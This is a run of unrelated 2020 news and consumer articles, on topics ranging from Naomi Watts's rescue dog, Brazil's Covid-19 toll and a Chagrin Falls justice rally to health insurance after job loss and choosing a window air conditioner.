Copyright  2020, ABC Audio. All rights reserved.
Naomi Watts was out and about running errands with her newly-adopted rescue dog, Izzy, in New York on Thursday.

The Australian actress, 51, wore a face mask and a pair of plastic gloves as she did some shopping in the leafy neighbourhood of Sag Harbor.

She was spotted outside an ONDA Beauty store, a health and beauty franchise she co-owns, while carrying the pup.

Stocking up! Naomi Watts was out and about running errands with her newly-adopted rescue dog, Izzy, in Sag Harbor, New York, on Thursday

The Mulholland Drive star cut a causal figure in a denim shirt with black leggings and sneakers.

She accessorised with gold chain necklaces, sunglasses and a headband, and also toted a black cross-body bag.

Later in the day, Naomi looked to be in high spirits after picking up bags of groceries.

Repping the brand: She was spotted outside an ONDA Beauty store, a health and beauty franchise she co-owns

Last month, Naomi revealed to fans on Instagram that she had adopted Izzy, who is a rescue puppy.

'New family member alert with Izzy the pup,' she captioned one post.

Naomi and her ex-partner, actor Liev Schreiber, are self-isolating together in The Hamptons with their children during the coronavirus pandemic.

The former couple and their sons, Sasha, 12, and Kai, 11, thrilled fans several weeks ago when they performed a fun TikTok dance routine to Doja Cat's hit single Say So.

Cute! Last month, Naomi revealed to fans on Instagram that she had adopted Izzy, who is a rescue puppy. 'New family member alert with Izzy the pup,' she captioned one post

Fun: Naomi and her ex-partner, Liev Schreiber, are self-isolating together in The Hamptons with their children during the coronavirus pandemic. The former couple and their sons, Sasha, 12, and Kai, 11, thrilled fans several weeks ago when they performed a fun TikTok dance

Liev and Naomi announced their separation in September 2016, after 11 years together.

Three months later, Liev spoke about their approach to co-parenting after their split and said they would always be a family.

When asked on CBS This Morning if the change in his personal life was scary, he said: 'Yeah, of course it is.

'But we're parents together so we'll be together for the rest of our lives no matter what and we're very close. Hopefully that never changes and I don't think it will.'
The African Development Banks Fashionomics Africa initiative has launched its first webinar series to discuss the impact of the COVID-19 pandemic on the fashion industry.



In total, 136 fashion entrepreneurs, digital innovators, and creative minds joined the discussion.



The theme of the first episode of the series was: What does the COVID-19 disruption mean for Africas Fashion Market? Opportunities and Threats for Fashionpreneurs and Investors.



Supporting investment for the micro, small and medium enterprises in the creative and cultural industries, creating the right environment for the financial sector to play its full part in powering growth, lies at the heart of the African Development Banks agenda, said Vanessa Moungar, Director of the Gender, Women and Civil Society Department at the African Development Bank.



The participants exchanged ideas and shared lessons learned on how to take advantage of online tools to strengthen businesses. Panelists included representatives from supply chain giant Maersk, the HEVA Fund for financing creative industries, the founder of made-in-Africa online brand Tongoro, and Afrikrea  an African e-commerce platform specializing in fashion and crafts.



African fashion is rising right now. African designers need to develop their unique business model and have to be innovative. To do so, digital is key, said Sarah Diouf, founder of Tongoro. Its a tool that we can truly leverage to our advantage. Africa has many stories to share and tell.



Wakiuru Njuguna, the Investment Manager and Partner at the HEVA Fund, said sustainability was going to be key to the future of fashion. Going forward, sustainable fashion is going to be the way to go. The African fashion brands need to be ready to answer the questions they will be asked, she said.



The Fashionomics Africa webinars will be available on the Fashionomics Africa Digital Marketplace and Mobile App (available both on IOS and Android). The platform aims to help Africas fashion designers, textile and accessories professionals connect with regional and global markets.



Fashionomics Africa leverages data and communication technologies to help entrepreneurs access business skills, finance and other tools.

Source: GNA









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In 1833 Beersheba Porter Cain discovered a chalybeate (mineral spring waters containing iron salts) spring in the mountainous region of Grundy County outside of Altamont, Tennessee.

The little village that was above Collins River Valley would become incorporated in 1839 and would function as a summer hotel and included log cabins to escape the summer heat below and to avoid various diseases.

The purchase of the property in 1854 by Louisiana slave trader Colonel John Armfield led to a period of development that included a luxurious hotel that would accommodate 400 guests. Armfield brought upwards of 100 slaves to upgrade the property and build the buildings.

The resort added ice houses, billiard rooms, and bowling alleys.

Armfield also planted many shade and fruit trees during this period and imported musicians from New Orleans to perform at the dances held on the premises. French chefs were also imported from Louisiana to provide fine cuisine for the guests.

Armfield also tried to induce two Bishops in the Episcopal Church to consider the area as a possible location for the University of the South to educate Episcopal youth.

During the Civil War the property was sold to Northern investors. From the wooden observatory at the front of the hotel skirmishes between Confederate and Union troops in the valley below could be observed.

Two homes were built for Bishop James Otey and Leonidas Polk of Louisiana who would be instrumental in the selection of the site for the university. Unfortunately, the Sewanee Mining Company offered 10,000 free acres of land outside of Monteagle which was accepted in 1857 and the location was confirmed at a meeting of the Sewanee Board of Trustees in Beersheba.

During the Civil War the residents were constantly harassed by federal forces and bushwhackers (homeless ex-soldiers) who plundered, pillaged, and robbed whenever they could. Surprisingly, all of the property remained intact in spite of raids by the federals and outlaws.

On September 20, 1871, Armfield died and the resort went through many up and down periods. The isolation of the location and substandard roads was always a problem but the resort still remained an attractive destination because of its beauty.

Various routes have been built to make the area more accessible. Roads to Chattanooga, Gruetli, and McMinnville were connected during the post-Civil War period. The Dixie Highway (U.S. 41) constructed during the 1920s from Chicago to Florida was one of the first steps to provide accessibility to the area.

In 1926 Tennessee Highway 56 was built up the mountain to Beersheba. Unfortunately, the blasting put an end to the mineral springs which originally created the resort. The Great Depression and the loss of the springs negatively affected the property and it was bought and sold several times.

Although better roads to the resort were now available, the post-Depression recovery in 1939-1941 did not revive Beersheba Springs. However, several additional famous visitors have stayed at the resort over the years. Prior to his presidency, Franklin Pierce, the fourteenth president of the United States, stayed at Beersheba Springs. In 1840 Tennessee Governor and future president James Polk held a political rally at the location.

In 1934 an individual who identified himself as Boshee Bouch was a short time resident. In reality he was Public Enemy No. 1, John Dillinger. He got along with the residents who helped him dig a well on his property, which contained a simple cabin. Others sold him vegetables while he was at Beersheba Springs prior to Dillinger being shot and killed by the FBI in July of 1934 in Chicago.

After years of neglect the property and facilities were bought for $3,000 by the Tennessee Conference of the Methodist Church to be used as retreat grounds in November 1941.

The Methodists have maintained ownership since that time and have continuously upgraded and improved the premises. Over the years, all of the modern convenience of electricity, water, telephone, and even wireless access have been added as well as complete modernization of the buildings and cabins.

In 1955 Beersheba Springs was incorporated as a town with 4.9 square miles of territory and a city manager-council form of government.

Since 1967 the community has hosted the Beersheba Springs Arts and Craft Festival each year on the fourth weekend in August and it usually has over 200 vendors and is attended by thousands of visitors.

In 1980 the historic district of the town was placed on the National Register of Historic Places.

The history of this quaint and beautiful place has been preserved by the combining of three articles by Herschel Gower, Carl Elkins, and Ann Hale Trout covering the earliest days of its existence through 2010.

Googling Beersheba Springs on your computer will provide the reader with a wealth of data and inspire them to take a scenic trip to this historical part of Grundy County.

* * *

Jerry Summers

(If you have additional information about one of Mr. Summers' articles or have suggestions or ideas about a future Chattanooga area historical piece, please contact Mr. Summers at jsummers@summersfirm.com
Gravediggers bury a man who died from Covid-19 at Sao Luiz cemetery, in Sao Paulo, Brazil - AMANDA PEROBELLI/Reuters

With its overall Covid-19 death toll exceeding 34,000 people, Brazil is now the country with the third-highest number of deaths in the world, surpassing Italy.

Brazil is widely regarded to be the current global epicenter of the coronavirus pandemic, with more new daily deaths and cases than any other country.

The Brazilian health ministry late on Thursday registered a record 1,473 Covid-19 deaths in 24 hours, a rate of one coronavirus death every 58 seconds.

The real situation may be much worse however, as researchers and infectious disease experts believe the full extent of Brazil's coronavirus epidemic has been grossly under-reported by official numbers.

Deaths by acute respiratory distress syndrome (ARDS) have skyrocketed in the country, with suggestions that some 6,000 of these cases, dating back to March and April, may have been undiagnosed Covid-19 deaths.

Newly dug graves are seen at Sao Luiz cemetery where the administration says they recently dug 3000 new graves - Reuters

Furthermore, Brazil's level of testing is dangerously low. Only 4,643 out of every million Brazilians have been tested, with one infectious disease expert in Sao Paulo telling The Daily Telegraph that only patients with moderate to severe symptoms are receiving tests.

The UK, meanwhile, has tested an estimated 73,762 people per million inhabitants  a rate some 15 times higher.

Brazil's coronavirus infection curve is showing no signs of flattening, with experts predicting a peak of daily deaths to arrive only in July.

Despite this, several Brazilian states are beginning to relax social isolation measures and reopen businesses, fearing mass unemployment and bankruptcy if the closures were to continue.

In Sao Paulo, Brazil's biggest city and home to almost 70,000 cases of Covid-19, shopping centers and commerce have reopened, and office buildings and car dealerships will be able to resume serving the public as of today.

Brazil's federal government has been widely criticised for its inadequate response to the coronavirus outbreak, with far-right president Jair Bolsonaro referring to the disease as a "little flu" on a number of occasions.

Story continues

A high-ranking former member of the Bolsonaro government told The Daily Telegraph that the president regularly shot down any attempts to discuss a Covid-19 isolation strategy during cabinet meetings.

Mr Bolsonaro is radically opposed to social isolation and has continuously urged Brazilians to get back to work.

While individual state governments initially defied the president and imposed measures to contain the virus, Mr Bolsonaro's anti-isolation message led many to flout stay-at-home orders and render quarantine plans ineffective.
CHAGRIN FALLS, Ohio  Fifteen-year-old Chase Tuller has considered himself an activist for as long as he has understood the inequality and injustice of the world around him.

He was elected president of his sophomore class at Kenston High School in Bainbridge Township on a platform of inclusion and diversity. And earlier this year, he participated in a youth summit at John Carroll University, focused on social justice issues and harnessing the power of his voice to effect change.

So when he saw the footage last week of a white police officer in Minneapolis kneeling on the neck of George Floyd -- crushing the life out of the unarmed black man who had been suspected of committing a crime as benign as buying cigarettes with a counterfeit bill -- Chase felt the weight of his own privilege and the pull to action.

He organized a "Rally for Justice and designed a flyer, calling protesters to Riverside Park in downtown Chagrin Falls on Tuesday afternoon. He assembled a program including a pastor, a church choir and motivational speakers.

And perhaps a teenager calling for a Black Lives Matter rally in a predominantly white, affluent suburb normally might have been ignored or elicited a few eye rolls from those who see big cities as the epicenters of change. But what happened next is evidence that Chagrin Falls -- and towns like it across America  need to hear the message of the Black Lives Matter movement the most.

As soon as word of Chases rally spread, a kind of hysteria descended upon Chagrin Falls. Merchants, aware of demonstrations last Saturday, 25 miles away in downtown Cleveland and elsewhere that had devolved into violent riots, began boarding up their storefronts.

Meanwhile, Chase started receiving threats. One thread on a community Facebook page became so filled with hateful messages directed at Chase and his protest that the page administrator removed the post altogether, Chase said. People called the phone number he had posted on the flyer, demanding that he cancel the rally or face backlash. Some threatened violence. One caller left a message that said protesters who dared to show up would be met by an AR-15 rifle. Chase turned the messages over to police.

Concerned for his own safety and by the fear he saw overtaking business owners, Chase reconsidered the demonstration. On Sunday evening, he announced on Facebook that he would be canceling the event.

We will reschedule for a later date when things become less tense and more safe, he wrote.

But the business community remained on high alert and continued to prepare, apparently for a marauding band of looters to hit Chagrin Falls. By Tuesday morning, about 80 percent of the towns business district was shuttered by plywood. Some business owners accepted the help of a man cruising up and down Main Street, offering to board up their buildings for $300 a pop.

I spoke with some business owners Tuesday to try to understand the hysteria that stood in the way of Chases attempt to stage a peaceful demonstration. As Ive said in previous columns, white Americas dangerous, racist and irrational fears underlie the problem of police violence against black citizens. So arguably the most powerful setting for a Black Lives Matter protest would be the home of white America. Places like Chagrin Falls.

Robert Falls, president and CEO of Falls Communications, keeps an office on Main Street. His space is not on street level, so he didnt face the question of whether to board up his windows. But he had a chance to talk with his neighbors about their decisions to do so. He told me Tuesday that many of them were deeply conflicted.

In their heart of hearts, they know the difference between peaceful protesters who are taking up a very righteous cause and the other elements that basically will destroy and loot, Falls said. Unfortunately, they dont know which of those groups is going to show up at this protest. If theyre peaceful, wed welcome them with open arms and be right there with them. But the merchants here saw the violence and destruction that took place downtown over the weekend. Many felt they had to take precautions to protect their livelihood  but they hate doing it.

Chas Geiger was among those merchants who hated doing it. He and his brother Gordon, co-owners of Geigers clothing stores, had not planned to board up their Chagrin Falls location when the demonstration was first announced. But on Saturday night, looters all but destroyed their store on Euclid Avenue in downtown Cleveland, stealing nearly everything, including merchandise, computer equipment and cash register tills.

Geiger told me the experience left him and his brother reeling, so on Tuesday morning, they boarded up their Chagrin Falls store.

We wholeheartedly support peaceful protests and certainly recognize the anger that stems from the unjust actions of some police officers, Geiger said. I dont believe it advances the conversation to destroy places and innocent lives. But I understand that riots sometimes manifest out of anger. At any rate, after the significant loss we had incurred at our downtown store Saturday, we just decided it would be a little foolish not to board up the Chagrin Falls store in case something were to happen.

Still, other merchants refused to board their shops, worried that it would deter a peaceful demonstration and send the wrong message about Chagrin Falls.

Steve Shutts, the third-generation owner of Chagrin Hardware and Supply, told me he understood why his neighbors panicked, but he wouldnt follow suit.

The protesters are pursuing a just cause, he said. We should welcome any peaceful demonstration in our town. That's who America is. And thats who we are.

And wouldnt you know it -- as Shutts and I wrapped up our conversation on Tuesday afternoon, protesters began to assemble in Riverside Park, after all. About 150 people gathered peacefully with signs. The Rev. Morris Eason lead them in prayer. They opened the mic to anyone who wanted to speak. They chanted the names of those who have died at the hands of police.

Chase was there leading the charge, and giving me hope that the message many demonstrators tried to peacefully deliver on Saturday had indeed found a receptive audience in the heart of white America.

When I asked him why he decided to move forward with the planned protest, he said he could not let threats or the panic and fear on Main Street compromise his principles.

Because this is a movement, not just a protest, he said. We may cancel an event. But we cant cancel a movement. The backlash I experienced in response to a peaceful demonstration exposed the closed-mindedness of the community. It showed me just how much work lies ahead.

You can reach columnist Leila Atassi at latassi@cleveland.com.

Cleveland.com photographer David Petkiewicz contributed to this report.
In a battle of strength and smarts, where would you place your bets? Before you decide, we suggest you watch this video - captured in the wild - which shows both qualities being applied by two different animals. The video shows a chase between a leopard and a monkey and makes for a thrilling watch.

The clip has been tweeted by Susanta Nanda IFS who often shares such interesting videos of animals. This video is an old one and was shared on the RangerDiaries.com YouTube channel in 2013. According to the description shared by channel, it was recorded in Sabi Sands Game Reserve in South Africa by Gary Parker.

The short video shows a leopard chasing a monkey up a tree. The monkey hangs on to the edge of a thin branch in order to keep the leopard at bay. The predator, meanwhile, does its best to reach the monkey and make a meal of it. After several failed attempts to reach the monkey, the leopard tries to shake the branch to get the primate to fall off.

Size, strength & reputation takes a back seat many times in nature, says Nanda on Twitter. Rarely seen, leopard trying to shake the monkey from tree for food. Monkey holds on, he adds. Watch the intense clip below:

Size, strength & reputations takes a back seat many times in Nature..



Rarely seen, leopard trying to shake the monkey from tree for food. Monkey holds on



Its better than monkey defending itself from king cobra that I had posted earlier. pic.twitter.com/EjyMshPNwg  Susanta Nanda IFS (@susantananda3) June 5, 2020

Since being shared some three hours ago, the video has collected over 500 likes and counting. Several people have posted comments about the predator-prey interaction.

Nature surprises us many times, comments an individual. Nature is an absolute thriller! chimes in another. Astonishing! remarks a third.

What do you think about this video?

Also Read | Watch: Deer saved from becoming giant snakes meal. Tweet prompts debate
A 54-year-old head constable posted at Dahisar police station who died on Thursday morning, was tested positive for coronavirus the same day at night. The head constable is a resident of MHB Colony in Borivli and is survived by his wife and 14-year-old son. With the head constables death, the death toll in Mumbai Police rose to 20.

On May 27, the head constable went on leave after he developed fever and approached a physician for treatment. The physician said he had viral fever and gave medicines. He recovered from the fever in two days, but on May 30, he could not breathe. We tried to get him tested at a private clinic, but the authorities said they have run out of forms for the tests and asked us to come next day, the head constables wife said.

On June 1, his health condition worsened, and he was in need of oxygen. He was admitted to Bhagwati Hospital and later shifted to Karuna Hospital  both of which are located in Borivli, where he passed away on Thursday after developing pneumonia.

Though he had diabetes, his blood sugar level was under control. He went for his duty despite the Mumbai Police permitting personnel above 50 years with pre-existing health conditions to go on leave, the head constables wife said.

She also alleged that there was delay in her husbands leave sanction. My husband wanted to go on leave from May 20, as he was unwell but was granted leave only on May 27, she further alleged.

However, Hanif Mujawar, senior inspector of Dahisar police, refuted the allegations. He said, He never made a formal application asking for a leave. If he had made an application I would have been surely updated about it.

This is the second death in Dahisar police. On May 26, a 53-year-old head constable died of respiratory ailments at JJ Hospital though he did not suffer from any pre-existing condition. A day later, he was found Covid-19 positive.

Mujawar said aggressive testing would be conducted to prevent more deaths in the police force.

1, 499 infected, 31 dead in state police

Until Friday morning, the Maharashtra Police reported 1,499 active cases, 1,304 constables and 195 officers. The police force also lost 31 personnel to Covid-19. While 30 of them are constables and assistant sub-inspectors, one was a 32-year-old assistant police inspector who had diabetes and blood pressure.

5 RPF personnel test positive

Five railway protection force (RPF) constables tested positive for Covid-19 on Thursday, and seven more constables were home quarantined as a precautionary measure, said officers.

On Monday, the five constables  staying at the RPF barrack at Carnac Bunder  went for tests after they developed Covid-119 symptoms. After their reports came positive, they were admitted to Jagjivan Ram Hospital at Mumbai Central, and their condition is stable, a statement issued by RPF revealed. The number of cases in RPF now stands at seven, even as a total of 18 personnel are home quarantined.

Atul Pathak, inspector general of RPF (Central Railway), said, We are closely monitoring every case to ensure the wellbeing of our staff. Personal care is very crucial to stay healthy. The staff are always sensitised about this aspect.

15 arrested for lockdown violations

The Mumbai Police on Thursday lodged 12 first information reports (FIRs) against 27 people and arrested 15 for lockdown violations. Most of the FIRs were registered for gathering in public and not wearing masks.

(With Inputs from Suraj Ojha)
As the effects of the coronavirus pandemic took hold this spring, more than 38 million Americans lost their jobs, and an estimated 27 million workers and their families found themselves without health insurance, too. Nearly half of Americans got their coverage through an employer-sponsored plan in 2018, according to the Kaiser Family Foundation. But as the coronavirus continues to affect communities across the U.S., its more important than ever to have health insurance. And if your income has taken a blow, you may have greater access to affordable coverage than you did while you were working. Kaiser estimates that 79% of those losing employer coverage are likely eligible for subsidized coverage through Medicaid or the Affordable Care Act marketplace. As you compare your options, consider factors including the premium, deductible, co-payments, out-of-pocket maximum and level of prescription-drug coverage. You may also have choices among plan types. High-deductible plans typically have relatively low premiums, but in 2020 the deductible starts at $1,400 for an individual and $2,800 for a family. With a high-deductible plan, you may also have access to a health savings account, which allows you to set aside pretax money for deductibles and other out-of-pocket medical costs. A preferred provider organization (PPO) plan may be a good choice if you require regular visits with a health-care provider for a medical condition. Compared with a health maintenance organization (HMO), which typically provides little to no coverage for out-of-network visits, a PPO may have a higher premium but offer greater coverage for out-of-network care. Because of their higher cost to insurers, however, PPOs are hard to come by in the individual marketplace.

One way to ease the pain of switching plans is to ask your medical providers what insurance plans they accept, says Adam Hyers, an insurance broker in Columbus, Ohio. You may be able to find a policy that allows you to continue to see many of your doctors without going out of network. Keep in mind that if youre 65 or older and have delayed Medicare coverage because you have employer-based insurance, you are eligible for a special enrollment period for Medicare when you leave your job. If you are working, you may be able to make changes to your employer-sponsored plan outside of open enrollment. The IRS is temporarily permitting employees to join or drop an employer plan or make certain changes to their existing coverage, including adding family members or choosing a different type of plan. Employees may also open a flexible spending account or alter their contribution amount midyear and get more time to claim unused funds. However, employers are not required to provide these options to workers. Comprehensive insurance plans are required to fully cover the cost of coronavirus testing. (If youre not insured, you should be able to get tested free at certain locations, but youll likely need an order from a doctor.) Plus, many insurers are offering breaks for treatment of COVID-19 or for those facing hardships because of the crisis. Nearly 60% of insurers said they were waiving at least some out-of-pocket charges for treatment, and 60% said they were offering programs to defer premiums for people affected by the coronavirus crisis, according to a survey conducted in late March and early April by eHealth, an online insurance marketplace. Consider COBRA If you work for a company that has at least 20 employees and you lose health insurance because it reduces your hours or terminates your job for a reason other than gross misconduct, it must offer continuation health care coverage for you, your spouse and your dependent children under COBRA. The law generally lets you extend coverage that you already had through your employers group plan for up to 18 months. Some states require small employers to provide continuation coverage (known as mini-COBRA), too, but term lengths and events that qualify you for it vary. If coverage under COBRA is available to you, your former employer should provide information about enrolling. When you elect COBRA, you continue the same type of policy you had. But when your employers annual open-enrollment period begins, you may switch to a new type of plan  say, one with a lower premium and higher deductible.

While COBRA is convenient, its costly. You typically pay both the employee and employer share of the premium, plus a 2% administrative surcharge. Total average annual premiums (including employer and employee contributions) for employer-sponsored health plans surpassed $20,000 for family coverage and $7,000 for individual coverage last year, according to a survey by the Kaiser Family Foundation. For a possible new round of coronavirus-related stimulus funding, Democratic lawmakers have proposed COBRA subsidies to cover the full cost of premiums for furloughed and laid-off workers, but a law had not been passed as of press time in mid May. For those who can afford it, COBRA may make sense  especially if you need ongoing care for, say, a pregnancy or cancer treatments, says Karen Pollitz, senior fellow at the Kaiser Family Foundation. If you switch insurance plans, doctors or facilities that youre already visiting may no longer be covered. A lack of continuity can cause confusion, disruption and more out-of-pocket costs, says Pollitz. Sticking with COBRA for a while may also be a good option if youve already met your plan deductible for the year. Typically, your former employer has to give you 60 days from either the date you receive notice to elect COBRA or the date you would lose coverage (whichever is later) for you to enroll, and coverage is retroactive as long as you pay any back premiums that you owe. In response to the pandemic, however, the government is requiring employers to disregard the period between March 1 and 60 days after the end of the national emergency regarding the pandemic (or some other date federal agencies may announce in the future) to determine the enrollment window. Say you received notice to elect COBRA on May 1 and the national emergency ended May 30. (As of mid May, an end to the national emergency had not been declared.) Your employer would not start the clock on your COBRA election period until July 29, 2020 (60 days later), and then youd have another 60 days  until September 27  to enroll in COBRA.

Take some time to compare COBRA with your other options or to see whether youre offered a new job with health insurance benefits. If you rack up any medical bills during that time, you can submit them for insurance coverage as long as you elect COBRA within the required window. Get on a family member's plan If you lose employer-sponsored coverage because of a job loss and your spouse works for a company that offers health insurance, you typically have 30 days to request special enrollment in your spouses plan. But as with COBRA, temporary rule changes require employers to disregard the period between March 1 and 60 days after the end of the national emergency regarding the pandemic (or another date federal agencies may announce in the future). Using the example cited above in the COBRA section, you would have 30 days after July 29 w hich is August 28  to enroll in your spouses plan. Joining your spouses plan may be the most cost-effective option because your spouses employer is likely paying a portion of the premiums. And compared with policies available in the individual market, employer-sponsored plans usually come with wider physician networks and lower deductibles and out-of-pocket limits, says Rich Fuerstenberg, senior partner for employee benefits consultant Mercer. But consider other important factors, too: Are physicians that youre already seeing in-network on your spouses plan, or will you have to pay more out of pocket to see them? How are your prescription drugs covered? Does your spouses employer offer a variety of plan types, or are you limited to, say, a high-deductible plan?

Under the rules of the Affordable Care Act, children younger than age 26 may join a plan that their parents use through an employer or the individual marketplace. (If the parents are on Medicare, however, the children cant use the coverage.) Generally, children can stay on a parents plan until they turn 26 even if they get a job with an employer that offers health insurance, get married or have a child. After that, children may be eligible for COBRA under the parents policy for up to 36 months, but the coverage is likely to be pricey. Explore the government marketplace If youve lost job-based health insurance, you have a 60-day special enrollment period to purchase a policy in the individual market under the Affordable Care Act. You may also qualify for special enrollment if you lose coverage because you are no longer eligible for Medicaid or youre unable to use a family members policy (because you turned 26, for example, or got divorced), among other events. Notably, some states opened their health care exchanges to anyone for a limited time in response to the pandemic; most of those special open-enrollment periods have closed, but Californias lasts until June 30. At healthcare.gov/get-coverage, choose your state from the drop-down menu. If your state runs its own marketplace, youll be directed to it. Otherwise, youll search for a policy via HealthCare.gov. If you get an ACA policy and your income is between 100% and 400% of the federal poverty level, you are eligible for a tax credit that lowers the plan premium. If your income is close to the poverty level, you may pay as little as $20 a month in premiums, says Pollitz. For 2020 plans, the upper income limit to qualify for a subsidy is $49,960 for an individual, $67,640 for a family of two or $103,000 for a family of four.

The tax credit is based on your estimated annual income for the year that youre seeking coverage  not last years income which may be helpful if youre newly unemployed and your income has fallen. But youll have to do some guesswork about how much income you may receive for the rest of the year. You could, for example, start with any income you earned through your job and add unemployment benefits that you expect to receive the rest of the year, Pollitz says. (The extra $600 a week the federal government is adding to unemployment checks through July counts.) Income from traditional IRA and 401(k) withdrawals and interest and capital gains on investments also count. If your circumstances change  say, your income increases because you get a new job or you add or lose a household member  go back to the marketplace and update your application. When you file your federal tax return for the year that you had the insurance policy, youll have to repay any extra amount you received in advance tax credits if you underestimated your income. If you overestimated income, youll get money back. Policies are divided into four categories  bronze, silver, gold or platinumbased on the amount of the premium, out-of-pocket costs and deductible. Generally, bronze plans have the lowest premium and highest deductibles, platinum plans have the highest premiums and lowest deductibles, and silver or gold plans fall somewhere in between. All plans purchased through the exchange are compliant with the Affordable Care Act, so certain types of preventive care are free no matter what type of plan you buy. ACA plans must also provide some level of coverage for maternity care, hospitalization, emergency care and mental-health services, among other benefits. And ACA plans cannot deny you coverage or charge you more because you have a preexisting condition. Going off the exchange If youre eligible for a tax credit, you must buy a plan through the exchange to claim it. Otherwise, you may want to take a look at your options outside the exchange, too. You can shop directly with insurance companies or work with a health insurance broker or agentsearch for one in your area at localhelp.healthcare.gov or nahu.org. You can also use a service such as ehealthinsurance.com, through which you can compare policies online or talk with an agent through a phone call or web chat.

Plans that you buy off the exchange may or may not be ACA-compliant. Some insurers offer plans that follow ACA rules but with different features than those they offer on the exchange  for example, with different provider networks or cost-sharing breakdowns. Short-term plans, which may last as long as 12 months and be renewed for up to three years, do not meet ACA requirements. They often exclude or charge more for care related to preexisting conditions. In addition, they usually dont cover maternal and mental-health care, among other services. In exchange for less-comprehensive coverage, short-term policies have low premiums. Using one of the lowest-priced plans, a family of three would pay an average premium of $116 per month, compared with $862 a month for a bronze plan from the exchange with no tax credit, according to eHealth. A 40-year-old woman would pay $60 a month, compared with $347 for an unsubsidized bronze plan. If youre healthy, a short-term policy may make sense for a few months in case of emergency. Im seeing more people go with short-term plans, who often sign up in hopes that they will soon get a job and have access to employer-sponsored coverage, says Hyers, the Ohio insurance broker. For example, you could get a policy that lasts through the end of the year and cancel it if you find a job that offers insurance in the meantime. If you dont get employer-sponsored coverage by the time open enrollment startsthe period to sign up for a plan for 2021 through HealthCare.gov is November 1 through December 15, 2020you could then explore the ACA-compliant options. See whether you qualify for Medicaid The Medicaid public health insurance program provides free or low-cost comprehensive coverage for those with low incomes, so it may not come to mind as a possibility if you were a moderate or high earner before you lost your job. But Medicaid considers current monthly income rather than annual income, so if youre suddenly without income, you may very well qualify, says Cheryl Fish-Parcham, director of access initiatives for Families USA, a nonpartisan consumer health care advocacy organization.

In 36 states and Washington, D.C., you can qualify for Medicaid based solely on your income (in other states, factors such as household size, family status and disability are also considered). In those states, youre eligible if your income is less than 138% of the poverty level  in 2020, that breaks down to $1,467 a month for an individual, $1,983 for a family of two or $3,013 for a family of four. Those limits include standard unemployment compensation but not the extra $600 a week the government is adding to unemployment checks through July. Even if you live in a state that has not expanded Medicaid to all low-income adults, your family may qualify for assistance based on other factors. Children in unemployed families will likely become newly eligible for Medicaid or the Childrens Health Insurance Program (CHIP), which is available to children whose family income is at or above 200% of the federal poverty level in almost all states, according to the Kaiser Family Foundation. You can apply for Medicaid and CHIP anytime; you dont have to wait for an open-enrollment window or qualify for a special-enrollment period. If you fill out an application through the marketplace at HealthCare.gov and it appears that someone in your household may qualify for Medicaid or CHIP, the site will send your information to your states Medicaid agency, which will contact you. But Medicaid offices are experiencing high demand, and going that route may take longer than applying directly with your states agency, says Fish-Parcham. At Healthcare.Gov, you can use a tool to judge whether youre eligible for Medicaid based on income alone and get contact information for your states Medicaid agency. Telemedicine takes off As social distancing has become a fact of life in the era of COVID-19, the use of telehealth services  which allow you to communicate with health professionals virtually or through a phone callis skyrocketing. Some 96% of health insurers are seeing increased demand for telemedicine services, according to an eHealth survey. One health plan in the Detroit area saw its telehealth claims jump from an average of about 1,000 per month to 18,000 in March and more than 20,000 before the end of April, says Connie Hwang, chief medical officer and director of clinical innovation for the Alliance of Community Health Plans.
NORTH BRANFORD Representatives from Tilcon insist they had no plans to mine the northernmost portion of the companys North Branford property, where they had requested a zoning change.

But over and over, residents at this weeks Planning & Zoning Commission meeting asked for more protection from future mining.

Chris Costello, a company representative, ultimately said Tilcon would be open to applying for a special use permit that would allow stockpiling on two parcels, instead of changing zoning on those parcels from residential to industrial.

Together, the parcels span about 14.5 acres, Jim Pretti said at a prior commission meeting. Pretti works for the engineering firm hired by Tilcon.

Costello, however, asked that a small, triangular piece of land that abuts the existing quarry be rezoned industrial, and the commission agreed.

That section of property measures about 80,000 square feet, Commissioner Harry Dulak said.

During the meeting, which was held via Zoom, Town Planner Carey Duques helped the commissioners set up motions so they could vote to approve the change only for that parcel.

They then denied the application for the two larger parcels, which will remain residential.

Tilcon now will have to apply for a special use permit. It needs to use the space to store soil dug out from its current quarrying operations to the south, representatives said.

Residents feared that if the town were to approve the zoning change it would set Tilcon up to mine the northern parcels in the future. They worried about the environmental impacts of quarrying, as well as its affect on property values.

Some asked how more quarrying could affect Cedar Pond, a lake that receives discharge Tilcon pumps from its property.

Cedar Pond has had issues with overflow during the past couple of years. Stormwater from the highly developed area along Route 80 also flows into the lake, which is not draining properly.

One resident asked about Tilcons plans to address problems at the pond.

Im deeded to this property and, you know, weve noticed how the water levels have gone up so much that, you know, the dock doesnt even come up to the beach anymore. ... Would Tilcon be responsible or help fix the areas that make it so that way theres no drainage? asked Joe Salemme, who identified himself as a member of the Cedar Lake Association.

What is being done to make it ... so that the ecosystem is being maintained? he asked.

Costello only responded in terms of the change that had been proposed on the companys northernmost parcels.

Theres not going to be any additional water pumping. Were not going to mine this property, he said.

meghan.friedmann@hearstmediact.com
Its an important moment in every young adults life: The day they buy, and install, their very first air conditioner. But how to choose the correct one? Theres so much to consider: the size of your window, which will determine how large the appliance can be; the size of the room, which determines how powerful (and therefore how expensive) the air conditioner should be; and, of course, the brand you end up going with.

Lets not waste anymore time -- this isnt a YouTube video. The first thing you need to do is...

Measure the size of your window

It may sound obvious, but many a home-decorator has failed by forgetting this simple step. There are no standard sizes for windows, and we are bound by the laws of physics here, so youll want to make sure you know the maximum height and width of your window so you can fit your appliance in there.

MAGZO Foam Tape Weatherstrip, 1 Inch Wide X 1 Inch Thick MAGZO amazon.com $0.00 Shop Now

You also need to decide how youre going to seal the device, since it wont do much good if air is leaking in through the top or sides. If you have windows that close by sliding vertically, youre in luck, since most units come with built-in side panels that extend out and can be sealed with foam tape.

If you have windows that slide horizontally, things are a little more complicated but still doable: youre going to want to install a panel of plexiglass that youve custom-cut to your windows size with a plexiglass knife. Its easier than it sounds, if youre at all handy, and you can seal it in place using the same foam tape from above.

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If you have more intricately designed windows -- maybe theyre arched, or awning, or open like doors (sometimes called casement windows) then youre going to have to get creative. Keep in mind that, if you need an especially large Air Conditioning unit you might need to install support brackets as well.

Pick the appropriate BTUs

An air conditioners power is measured in British Thermal Units, or BTU, defined by the amount of heat required to raise the temperature of one pound of water by one degree Fahrenheit. The higher an A/Cs BTU, the more cold air itll pump out. You determine how many BTUs you need by measuring the square feet of the room to be cooled, and this chart offers a rough guide (though it varies by room size). Another rough way is to multiply the room's square footage by 20; a unit with BTUs larger than that should adequately do the job.

